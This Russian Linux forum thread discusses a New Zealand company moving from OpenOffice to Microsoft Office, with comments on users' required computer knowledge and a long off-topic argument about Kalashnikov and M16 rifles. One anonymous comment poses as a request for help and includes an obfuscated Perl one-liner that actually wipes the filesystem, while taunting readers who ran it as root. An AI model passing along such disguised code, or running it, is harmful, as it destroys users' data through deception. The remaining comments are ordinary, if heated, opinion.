LINUX.ORG.RU

Новозеландская компания перешла с OpenOffice на Microsoft Office


0

0

Автомобильная ассоциация Новой Зеландии, в которой работают свыше пятисот человек, отказалась от использования OpenOffice в пользу Microsoft Office. Были названы следующие причины: сложность [пере]обучения, проблемы с совместимостью и даже стоимость, ибо в конечном итоге простой бизнеса из-за невозможности обмениваться документами стоит дорого. Компанию также не устраивают неясные перспективы развития открытого офисного пакета.

Update: похоже это очередная выдача желаемого за действительное.

>>> Подробности

★★★★★

Проверено: Shaman007 ()
Ответ на: комментарий от AlexM

> Но мы малость отклонились от темы. Необходимость задумываться над побочными по отношению к основному производственному процессу деталями есть зло. Поэтому изначальный тезис о том, что пользователь должен думать, в каком _формате_ ему обмениваться корреспонденцией, неверен по своей сути.

Пользователь не должен думать, пользователь должен выполнять работу. Работа, как известно - произведение силы на путь. Так что если пользователь ниасиливает средства производства, он будет проделывать больший путь для выполнения работы.

А идея того, что секретарь или бух не должен знать устройство компьютера и ос - идиотизм полный. Вы еще скажите что токарь не должен знать устройство станка а солдат не должен уметь разобрать автомат.

MiDoS
()
Ответ на: комментарий от MiDoS

>А идея того, что секретарь или бух не должен знать устройство компьютера

Конечно, не должен.

Вот Вы знаете осбенности технологического цикла производства микросхем по технолонии 0.15 мкм? А технологию фотопечати многослойных печатных плат?

> и ос - идиотизм полный.

И устройство ОС тоже знать не обязательно. Вот я более чем уверен, что 90% пользователей не в курсе как работают планировщик и подсистема виртуальной памяти, однако это не мешгает им полноценно работать в свойе ОС.

stellar
()
Ответ на: комментарий от stellar

>>А идея того, что секретарь или бух не должен знать устройство компьютера

>Конечно, не должен.

>Вот Вы знаете осбенности технологического цикла производства микросхем по технолонии 0.15 мкм? А технологию фотопечати многослойных печатных плат?

Первое я так думаю закрытая информация, know-how. Второе знаю, но это от любопытства. Пользователь не должен знать как _изготовлен_ компьютер, он должен знать как он _устроен_. Я вот не знаю основ ядерного синтеза, но знаю что материя состоит из молекул, которые можно разделить на атомы.

>> и ос - идиотизм полный.

>И устройство ОС тоже знать не обязательно. Вот я более чем уверен, что 90% пользователей не в курсе как работают планировщик и подсистема виртуальной памяти, однако это не мешгает им полноценно работать в свойе ОС.

Откуда знаешь, что полноценно? Знание того, что приложение с минимизированным главным окном более привлекательно для выгрузки в своп и того, что окно с фокусом ввода имеет больший приоритет совсем бесполезны и не помогут увеличить продуктивность работы пользователя? Я не предлагаю вызубрить таблицу прерываний и обучить пользователей ассемблеру.

MiDoS
()
Ответ на: комментарий от MiDoS

> А идея того, что секретарь или бух не должен знать устройство компьютера и ос - идиотизм полный. Вы еще скажите что токарь не должен знать устройство станка а солдат не должен уметь разобрать автомат.

Скажите, а много солдат знают, почему автомат стреляет? Не-а, ему показали, как держать, как прицеливаться, как на курок нажимать, как обслуживать, чтобы [некоторое время] не сломался, и все. Да, обслуживание предполагает разбор, но только затем, чтобы почистить, а не затем, чтобы понять, как работает.

Именно поэтому вся Африка и Азия воюет [китайскими] калашами, которые в обслуживании заметно проще своих более продвинутых европейских и американских собратьев. Хотя ТТХ у последних, видимо, получше...

AlexM ★★★★★
()
Ответ на: комментарий от AlexM

> Скажите, а много солдат знают, почему автомат стреляет? Не-а, ему показали, как держать, как прицеливаться, как на курок нажимать, как обслуживать, чтобы [некоторое время] не сломался, и все. Да, обслуживание предполагает разбор, но только затем, чтобы почистить, а не затем, чтобы понять, как работает.

> Именно поэтому вся Африка и Азия воюет [китайскими] калашами, которые в обслуживании заметно проще своих более продвинутых европейских и американских собратьев. Хотя ТТХ у последних, видимо, получше...

Чушь говорите, и про знания, и про ТТХ. Это не ваша бабушка кошку в микроволновке сушила?

MiDoS
()
Ответ на: комментарий от MiDoS

> Чушь говорите, и про знания, и про ТТХ. Это не ваша бабушка кошку в микроволновке сушила?

Родной, а ты без перехода на личности не в состоянии говорить? Тем более, что за переход на личности моих бабушек я могу и морду при встрече, натурально, набить. Ну, или попытаться набить, хотя, думаю, попытка будет успешной.

Если есть что предметно возразить по поводу способов ведения войн племенами азии и африки или, хе-хе, ТТХ [китайских] калашей в сравнении с западными аналогами - не стесняйся, изложи. А если нет - постарайся не вступать в разговоры со мной.

AlexM ★★★★★
()
Ответ на: комментарий от MiDoS

> Скажите, а много солдат знают, почему автомат стреляет? Не-а, ему показали, как держать, как прицеливаться, как на курок нажимать, как обслуживать, чтобы [некоторое время] не сломался, и все. Да, обслуживание предполагает разбор, но только затем, чтобы почистить, а не затем, чтобы понять, как работает.

Один раз показали, второй, третий... Научился - молодец. Не научился - к стенке. А старшина за всех стрелять не будет, у него сви проблемы есть.

anonymous
()
Ответ на: комментарий от AlexM

> Родной, а ты без перехода на личности не в состоянии говорить? Тем более, что за переход на личности моих бабушек я могу и морду при встрече, натурально, набить. Ну, или попытаться набить, хотя, думаю, попытка будет успешной.

Прохожий, мне глубоко безразлична ваша бабушка, но история про просушку кошки в микроволновой печи должна быть известна. Показательный пример к чему приводит знание интерфейса но не знание принципа работы. А желание влезть в морду у вас от недостатка аргументации и интеллекта.

> Если есть что предметно возразить по поводу способов ведения войн племенами азии и африки или, хе-хе, ТТХ [китайских] калашей в сравнении с западными аналогами - не стесняйся, изложи. А если нет - постарайся не вступать в разговоры со мной.

А то, что аборигены азии и африки делают самострелы под патрон АКМ, это вы объясните подражанием или все-таки знанием принципа работы? Или знание ТТХ М16 - это условие общения?

MiDoS
()
Ответ на: комментарий от MiDoS

> Прохожий, мне глубоко безразлична ваша бабушка

Ну, вот и не поминайте её. Совсем. Про морду - извини, родной, нехрен нарываться, с аргументацией это не связано никак. Или ты предпочёл бы, чтобы я в ответ на оскорбление моей родни начал бы поливать грязью твою, кто громче на<selfcensored>?

Посему предлагаю закрыть тему с разборками. > А то, что аборигены азии и африки делают самострелы под патрон АКМ, это вы объясните подражанием или все-таки знанием принципа работы?

Ну, разумеется, знанием базовых принципов работы и доступностью патронов соотв. типа. А наличие патронов объясняется массовыми поставками этого самого АКМ. То есть, первичен все таки выбор АКМ <-> М16, грубо говоря. А выбор этот происходит потому, что АКМ проще в изготовлении и обслуживании. Замечу: производственная база Китая уже давно в состоянии освоить массовый выпуск более продвинутого оружия, был бы платежеспособный спрос.

Но, кстати, для изготовления самострелов знания не ахти какие требуются. Мои, да и твои, вероятно, предки эту технологию уже веков пять как освоили. Правда, гильза с капсюлем - таки да, сравнительно недавнее изобретение. Но её наличие только упрощает задачу в случае самострела.

AlexM ★★★★★
()
Ответ на: комментарий от AlexM

Вы к чему сейчас столько букв написали? Нечем занять пальцы, приобретите эспандер.

Я еще раз повторяю, знание того, как устроен инструмент, обязательно. Знание интерфейса - вторично. Абориген не делает точную внешнюю копию автомата, он имитирует его _внутреннее_ устройство. Зная _почему_ работает система, можно ей эффективно управлять, вне зависимости от интерфейса. И пользователь должен знать принцип работы его инструмента - компьютера (в классическом определении = набор программных и аппаратных средств). А не просто тыкать на кнопку по второй сигнальной системе академика Павлова.

MiDoS
()
Ответ на: комментарий от MiDoS

> Вы к чему сейчас столько букв написали? Нечем занять пальцы, приобретите эспандер.

Что за тупая и наглая манера постоянно скатываться на личности? Приятель, если тебя утомляет написанное мной - отойди от компьютера, не читай, и тем более, не отвечай.

> Абориген не делает точную внешнюю копию автомата, он имитирует его _внутреннее_ устройство.

Да, ну, приятель, ты хоть раз _самострел_ делал, или так, тЭорЭтик? От внутреннего устройства автомата - там трубка ствола, какая-никакая казенная часть (наличие гильзы, повторяю, только упрощает её, не надо думать о том, что газы могут разворотить все нахрен, достаточно гильзу зафиксировать), и, опционально, цевьё, чтобы руки не обжигало. Нет, понятно, возможны и более технологичные варианты, но в детстве для запуска "трассировок" хватало, по большому счету, кирпича и пары железок. Да, вероятность, у<self-censored>, была, как я сейчас понимаю, охрененная, но пронесло.

Поэтому аргумент, что аборигены хорошо себе представляют, как работает автомат, потому что способны сделать самострел, не канает. К тому же, аборигенам в Африке деваться некуда, из лука стрелять, видимо еще неэффективнее. Секретарши в Новой Зеландии, Европе и США находятся в других социально-экономических условиях, их жизнь в данный момент не зависит от того, понимают ли они разницу в форматах документов или нет.

AlexM ★★★★★
()
Ответ на: комментарий от AlexM

> То есть, первичен все таки выбор АКМ <-> М16, грубо говоря. А выбор этот происходит потому, что АКМ проще в изготовлении

Не проще. Технология изготовления ствола не раскрывается. И вот в стволе отличие оригинального изделя и клонов, и отличие очень существенное. Как говорят...

AS ★★★★★
()
Ответ на: комментарий от AlexM

>ТТХ [китайских] калашей в сравнении с западными аналогами - не стесняйся, изложи.

Китайские в руках не держал. Но наши вполне способны пробить броневик. Помню только что калимр у М16 5 с чемто там против 7,62 у калаша. Ну и надёжность у м16 хромает. На обе ноги. Не случайно во Вьетнаме американские вояки выкидывали свою эмку и брали в руки калаш

DNA_Seq ★★☆☆☆
()
Ответ на: комментарий от AlexM

AlexM,

Вы вообще суть темы улавливаете, или я ошибся и тут не обсуждение необходимого уровня знаний пользователя а африкано-военный форум?

> Секретарши в Новой Зеландии, Европе и США находятся в других социально-экономических условиях, их жизнь в данный момент не зависит от того, понимают ли они разницу в форматах документов или нет.

Если они работают с документами в определенных форматах - они обязаны знать различия этих форматов. Они же с ними работают. Не сам формат (синтаксис), а то, что формат не один, и не все форматы одинаково полезны. От этого зависит успешность их работы, это входит в круг их обязанностей.

MiDoS
()
Ответ на: комментарий от DNA_Seq

Ну ты и гонщик! Во вьетнаме кстати М14 выкидывали, как мне помниться, а не М16.

sv75 ★★★★★
()
Ответ на: комментарий от DNA_Seq

> Помню только что калимр у М16 5 с чемто там против 7,62 у калаша.

5.45 у AK-74.

AS ★★★★★
()
Ответ на: комментарий от AlexM

> Скажите, а много солдат знают, почему автомат стреляет? Не-а, ему показали, как держать, как прицеливаться, как на курок нажимать, как обслуживать, чтобы [некоторое время] не сломался, и все. Да, обслуживание предполагает разбор, но только затем, чтобы почистить, а не затем, чтобы понять, как работает.

Скажите, а у вас есть знакомые, которые в армии служили? Почему-то обычно люди, державшие в армии автомат достаточно хорошо представляют как он работает. С автоматом немножко другая тема. Тут от знаний `пользователя` зависит его жизнь, а не `бесперебойная работа фирмы`. Если автомат заклинит, то солдат знает что с этим делать.

>Именно поэтому вся Африка и Азия воюет [китайскими] калашами, которые в обслуживании заметно проще своих более продвинутых европейских и американских собратьев. Хотя ТТХ у последних, видимо, получше...

У меня другое мнение о причинах этого явления. Но здесь другая тема, поэтому не будет отвлекаться на Африку.

skwish ★★
()
Ответ на: комментарий от skwish

> Скажите, а у вас есть знакомые, которые в армии служили? Почему-то обычно люди, державшие в армии автомат достаточно хорошо представляют как он работает. С автоматом немножко другая тема. Тут от знаний `пользователя` зависит его жизнь, а не `бесперебойная работа фирмы`. Если автомат заклинит, то солдат знает что с этим делать.

Хорошо, я готов согласиться с поправкой: это понимание суть понимание как с этим работать, а не понимание, почему оно сделано именно так, а не иначе.

AlexM ★★★★★
()
Ответ на: комментарий от AlexM

> Хорошо, я готов согласиться с поправкой: это понимание суть понимание как с этим работать, а не понимание,
> почему оно сделано именно так, а не иначе.

Ну так вот это и должно пользователя от IT-специалиста отличать. "Почему" - это ему знать не особо надо, а вот "как" - это он знать должен, если чем-то пользуется.

AS ★★★★★
()
Ответ на: комментарий от AS

> Не проще. Технология изготовления ствола не раскрывается. И вот в стволе отличие оригинального изделя и клонов, и отличие очень существенное. Как говорят...

Ну, мир бегает именно с китайскими калашами, в основном.

AlexM ★★★★★
()
Ответ на: комментарий от AlexM

>> Скажите, а у вас есть знакомые, которые в армии служили? Почему-то обычно люди, державшие в армии автомат достаточно хорошо представляют как он работает. С автоматом немножко другая тема. Тут от знаний `пользователя` зависит его жизнь, а не `бесперебойная работа фирмы`. Если автомат заклинит, то солдат знает что с этим делать. >Хорошо, я готов согласиться с поправкой: это понимание суть понимание как с этим работать, а не понимание, почему оно сделано именно так, а не иначе.

Надеюсь вы мою идею поняли. Работнику поставили OO - он должен понимать как с этим работать и понимать почему нужно делать так, а не иначе. Но, имхо, пользователь не обязан (хотя может) знать о таких вещах как TeX, тонкостях настройки vim, что у него за шелл (zsh vs bash vs other) до тех пор, пока это не потребуется для его непосредственной работы.

skwish ★★
()
Ответ на: комментарий от DNA_Seq

> Китайские в руках не держал. Но наши вполне способны пробить броневик. Помню только что калимр у М16 5 с чемто там против 7,62 у калаша. Ну и надёжность у м16 хромает. На обе ноги. Не случайно во Вьетнаме американские вояки выкидывали свою эмку и брали в руки калаш

У АК-74 калибр 5.45. У АКМ-а - да, 7.62 был. Насчет "выбрасывают"- "не выбрасывают", в Ираке ходят со своим оружием, более того, иракские силы безопасности тоже, было, хотели уехать на на них, но их оставили с калашами, уж не знаю (хотя и есть предположения), почему.

AlexM ★★★★★
()
Ответ на: комментарий от MiDoS

> Если они работают с документами в определенных форматах - они обязаны знать различия этих форматов. Они же с ними работают. Не сам формат (синтаксис), а то, что формат не один, и не все форматы одинаково полезны. От этого зависит успешность их работы, это входит в круг их обязанностей.

В общем, если человек во что-то верует, у меня нет желания его разубеждать. "Если бы я знал, что такое электричество..."

AlexM ★★★★★
()
Ответ на: комментарий от AlexM

"Замечу: производственная база Китая уже давно в состоянии освоить массовый выпуск более продвинутого оружия, был бы платежеспособный спрос."
замечу что на производство M16 нужно покупать лицензию а АК47 как минимум собирался Китаем безовсяких отчислений.

dimav123
()
Ответ на: комментарий от AlexM

> В общем, если человек во что-то верует, у меня нет желания его разубеждать. "Если бы я знал, что такое электричество..."

"Да. Я растерялась. Я не сразу осмыслила, что ты - Чужой и умеешь думать, даже когда стал взрослым".
"Но ваши взрослые - говорят, - напомнил Мартин. - Они работают, ходят через Врата, управляют машинами..."
"Они это умеют. Это..." - Девочка замолчала.
"Рассудок?" - подсказал Мартин.
"Рассудок. Правильно. Они научились. Они были детьми, умели думать. Они узнали всё, что им нужно для жизни. И перестали думать. Думать - трудно. Думать больно и опасно. Если в мире нет неизвестных опасностей - тебе вовсе не нужно думать".

С.Лукъяненко "Спектр".

Переубедить можно только аргументами, у тебя их нет.

MiDoS
()
Ответ на: комментарий от AlexM

Живой пример -- трояны, раздаваемые в виде аттачей к письмам. Расчет делается на среднестатистического юзверя, который не бедет долго думать, ЧТО же енто за вложение такое, ЧТО за тип у ентого вложения, не исполняемое ли оно, а тупо жмакнет на мышиную пимпочку. И если у него НЕ стоит антивирус (а откуда он должен узнать о необходимости антивиря, если понятия не имеет об ИСПОЛНЯЕМЫХ файлах, кои могут быть чреваты боком?), или у этого антивиря НЕ обновляются базы, или антивирь вообще отключен, ибо ТОРМОЗИТ машину -- ну да, ССЗБ, но боржоми-то уже пить поздно. А в винде по дефолту установлено "не показывать расширения для зарегистрированных типов файлов", чтобы юзер, стало быть, не ударился в жесточайшую фрустрацию при виде каких-то странных символов, нарушающих гармонию имени файла вроде "Объяснительная по поводу опоздания на работу.doc" Вот ЧТО значит енто .doc? Он же не документацию пишет... Ладно, объяснительная -- допустим, таки документ, а вот почему енти символы ".doc" появляются в юзеровском ПИСЬМЕ -- это ваще задача не для средних умов. Короче, все укладывается в 2 пункта: 1. Создайте систему, которой сможет пользоваться и идиот -- и только идиот ЗАХОЧЕТ ей пользоваться. 2. Идиотов нужно взращивать и культивировать, дабы успешно работал п.1. А по поводу аналогии с автомобилем: файлы, форматы, хоткеи -- это скорее не карбюратор, полуось или масляный фильтр (это дело техобслуживания, того же админа), а газ, руль и тормоз. Без базовых знаний о машине человек может только купить ПРАВА, а вот купить ездить -- не получится, для этого надо еще и шофера покупать. А незнание специфических опасностей определенной системы (например, вирусной опасности в винде) я бы уподобил незнанию того, что около бензобака с открытой крышкой курить не рекомендуется. Иначе потом некому будет жаловаться и заявлять, что я, мол, как пользователь, не обязан знать химию.

Zerg324
()
Ответ на: комментарий от AlexM

> хе-хе, ТТХ [китайских] калашей в сравнении с западными аналогами - не стесняйся, изложи

какие именно ТТХ тебя интересуют?

Надежность рассматривать будем? (Наработку на отказ? Время восстановления?)

и дело здесь совсем не в том, что для M16 "нужна отвертка", а в том, что какой-то недоучка, не обремененный "лишними" знаниями, додумался сделать газоотвод непосредственно к автоматике!

grinn ★★
()
Ответ на: комментарий от Zerg324

> Живой пример -- трояны, раздаваемые в виде аттачей к письмам.

Помогите, почему не печатает эта программа на перл? cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Помнишь? Как показала проведенная здесь проверка среднестатистический линуксоид работает из под рута и не способен разобраься в такой примитивной программе, а тупо ее запускает. Из под рута же... Вывод - линукс дырявое, глючное и незащищеное г-но? Или все же другой вывод будет? :-)

P.S. Интересно - сколько идиотов запустят ее из-под рута еще раз? ;-)

anonymous
()
Ответ на: комментарий от DNA_Seq

>>Помню только что калимр у М16 5 с чемто там против 7,62 у калаша

7.62 - это у AK-47, он уже запрещён по соображениям гуманности (прикол блин). У AK-74 калибр 5.45.

>>Не случайно во Вьетнаме американские вояки выкидывали свою эмку и брали в руки калаш

Ну, это было 40 лет назад. Хотя и сейчас видел по ящику америкосов с AK-47 в Ираке.

alex_custov ★★★★★
()
Ответ на: комментарий от alex_custov

>ну там типа тоже замкнутый цикл :)

не, там немног не то...

у калаша есть газовая камера над стволом, куда вставляется шток с газовым поршнем. этом штоком приводится в движение вся автоматика.

у пиндосов - не так.

Ты наверное (по телеку видел) обращал внимание на прицельную скобу, в виде чемоданной ручки?

так вот. внутри нее проходит канал, по которому газы подводятся _непосредственно_ к затвору (!!!)

в результате - очень быстро засерается, причем _все_!

а чистить это... ну например - тот же (П-образный!) газовый канал :)

grinn ★★
()
Ответ на: комментарий от alex_custov

>Ну, это было 40 лет назад. Хотя и сейчас видел по ящику америкосов с AK-47 в Ираке.

Я не так давно кидал подборку фоток по этой тематике. Правда, похоже, или тему ту грохнули, или сообщения, не находится.

АК в Ираке американцы сейчас юзают весьма интенсивно и _штатно_ (ссылку не нашёл и деталей не помню, но выходил там приказ соответствующий по каким-то случаям)

KRoN73 ★★★★★
()
Ответ на: комментарий от grinn

получается, как отопление салона автомобиля непосредственно выхлопными газами :)

grinn ★★
()
Ответ на: комментарий от KRoN73

>там приказ соответствующий по каким-то случаям

не "по каким-то", а по случаю неожиданно оказавшегося в пустыне песка :)

grinn ★★
()
Ответ на: комментарий от DNA_Seq

>Помню только что калимр у М16 5 с чемто там против 7,62 у калаша.

Вылезай из анабиоза. 7.62 был у АК-47. У АК-74 --- 5.45. Догадаешься, в каком году его выпустили? :)

MYMUR ★★★★
()
Ответ на: комментарий от MYMUR

>Догадаешься, в каком году его выпустили? :)

/me выпучив глаза: В 74м?

DNA_Seq ★★☆☆☆
()
Ответ на: комментарий от anonymous

>Помнишь? Как показала проведенная здесь проверка среднестатистический линуксоид работает из под рута и не способен разобраься в такой примитивной программе, а тупо ее запускает.

Адресок дилера скажи. Трава у тебя походу забористая. /me ни разу не видел линуксоида, работающего под рутом. Толькочерез su/sudo

DNA_Seq ★★☆☆☆
()
Ответ на: комментарий от anonymous

>Помогите, почему не печатает эта программа на перл? cat "test... >test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|>`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' > Помнишь? Как показала проведенная здесь проверка >среднестатистический линуксоид работает из под рута

фанатики вантуза как всегда выдают желаемое за действительное. половина постов там была от вас же (десанта с винфака вроде батарейкина, ирси и ленина), а другая - стеб лоровцев.

но если твое заблуждение помогает тебе не впасть в депрессию с последующим суицидом - пожалуйста, нам не жалко, можешь убеждать себя дальше :)

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.